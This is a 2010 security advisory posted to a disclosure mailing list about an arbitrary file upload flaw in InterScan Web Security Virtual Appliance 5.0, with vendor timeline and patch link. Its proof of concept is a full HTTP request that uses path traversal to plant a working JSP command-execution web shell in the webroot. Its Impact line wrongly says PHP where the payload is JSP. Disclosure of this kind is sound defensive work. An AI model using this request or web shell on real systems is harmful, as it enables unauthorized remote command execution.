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Message-ID: <58E6A85885674FCCAA61103641FFA2B0@adcybsec.com>
Date: Wed, 23 Jun 2010 11:40:08 -0300
From: "Cybsec -  Security Systems" <capacitacion@...sec.com>
To: <full-disclosure@...ts.grok.org.uk>
Subject: CYBSEC Advisory#2010-0605 InterScan Web Security
	5.0 Arbitrary File Upload

Advisory Name: Arbitrary File Upload in InterScan Web Security Virtual Appliance 5.0.

 

Internal Cybsec Advisory Id: 2010-0605

 

Vulnerability Class: Arbitrary File Upload

 

Release Date: 22-06-2010

 

Affected Applications: Confirmed in InterScan Web Security Virtual Appliance 5.0. Other versions may also be affected. 

 

Affected Platforms: Red Hat nash 5.1

 

Local / Remote: Remote 

 

Severity: High - CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)

 

Researcher: Ivan Huertas 

 

Vendor Status: Patched

 

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

 

Vulnerability Description:

 

The vulnerability is caused due to an improper check in "com.trend.iwss.gui.servlet.XMLRPCcert" servlet, allowing the upload of files with arbitrary extensions. This can be exploited to e.g. execute arbitrary commands by uploading a specially crafted JSP script containing some kind of Web Shell. Also, using path traversal technique, an attacker can change the original destination path.

For example you can use the other vulnerability "Local Privilege Escalation" to execute commands as root.

 

Proof of Concept: 

 

1) Access to the CA import functionality, and try to upload a file with an arbitrary extension. 

2) Using path traversal technique, an attacker can write into other directory, like tmp or inside the Webroot:

 

POST /servlet/com.trend.iwss.gui.servlet.XMLRPCcert?action=import HTTP/1.1

Host: xx.xx.xx.xx:1812

User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Referer: http://xx.xx.xx.xx:1812 

Cookie: JSESSIONID=9072F5BC86BD450CFD8B88613FFD2F80

Content-Type: multipart/form-data; boundary=---------------------------80377104394420410598722900

Content-Length: 2912

 

-----------------------------80377104394420410598722900

Content-Disposition: form-data; name="op"

save

-----------------------------80377104394420410598722900

Content-Disposition: form-data; name="defaultca"

yes

-----------------------------80377104394420410598722900

Content-Disposition: form-data; name="importca_certificate"; filename="../../../../../../../../../../../../../../../../../usr/iwss/AdminUI/tomcat/webapps/ROOT/cmd.jsp"

 

Content-Type: application/octet-stream

 

<%@ page import="java.util.*,java.io.*"%>

<%%>

<HTML><BODY>

<FORM METHOD="GET" NAME="myform" ACTION="">

<INPUT TYPE="text" NAME="cmd">

<INPUT TYPE="submit" VALUE="Send">

</FORM>

<pre>

<%

if (request.getParameter("cmd") != null) {

        out.println("Command: " + request.getParameter("cmd") + "<BR>");

        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));

        OutputStream os = p.getOutputStream();

        InputStream in = p.getInputStream();

        DataInputStream dis = new DataInputStream(in);

        String disr = dis.readLine();

        while ( disr != null ) {

                out.println(disr); 

                disr = dis.readLine(); 

                }

        }

%>

</pre>

</BODY></HTML>

-----------------------------80377104394420410598722900

Content-Disposition: form-data; name="importca_key"; filename="../../../../../../../../../../../../../../../../../usr/iwss/AdminUI/tomcat/webapps/ROOT/cmd.jsp"

 

<%@ page import="java.util.*,java.io.*"%>

<%%>

<HTML><BODY>

<FORM METHOD="GET" NAME="myform" ACTION="">

<INPUT TYPE="text" NAME="cmd">

<INPUT TYPE="submit" VALUE="Send">

</FORM>

<pre>

<%

if (request.getParameter("cmd") != null) {

        out.println("Command: " + request.getParameter("cmd") + "<BR>");

        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));

        OutputStream os = p.getOutputStream();

        InputStream in = p.getInputStream();

        DataInputStream dis = new DataInputStream(in);

        String disr = dis.readLine();

        while ( disr != null ) {

                out.println(disr); 

                disr = dis.readLine(); 

                }

        }

%>

</pre>

</BODY></HTML>

-----------------------------80377104394420410598722900

Content-Disposition: form-data; name="importca_passphrase"

 

test

 

-----------------------------80377104394420410598722900

Content-Disposition: form-data; name="importca_2passphrase"

test

-----------------------------80377104394420410598722900

Content-Disposition: form-data; name="beErrMsg"

imperr

-----------------------------80377104394420410598722900--

 

Impact:

 

Direct execution of arbitrary PHP code in the Web Server. 

 

Solution: 

 

Apply the patch that can be found in 


http://downloadcenter.trendmicro.com/index.php?clk=tbl&clkval=249&regs=NABU&lang_loc=1

 



Vendor Response: 

 

2009-03-26 - Vulnerability was identified

2010-04-09 - Vendor contacted

2010-04-15 - Vendor response

2010-06-21 - Vendor released fixed version

2010-06-22 - Vulnerability published

 

Contact Information:

 

For more information regarding the vulnerability feel free to contact the researcher at 

ihuertas <at> cybsec <dot> com

 

 

About CYBSEC S.A. Security Systems:

 

Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in  Information Security. Their area of services covers Latin America, Spain and over 250 customers are a 

proof of their professional life.

 

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other  software and/or hardware provider companies.

 

Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable.

 

Beyond professional services, CYBSEC is continuously researching new defense and attack techniques 

and contributing with the security community with high quality information exchange.

 

For more information, please visit www.cybsec.com

 

(c) 2010 - CYBSEC S.A. Security Systems

 

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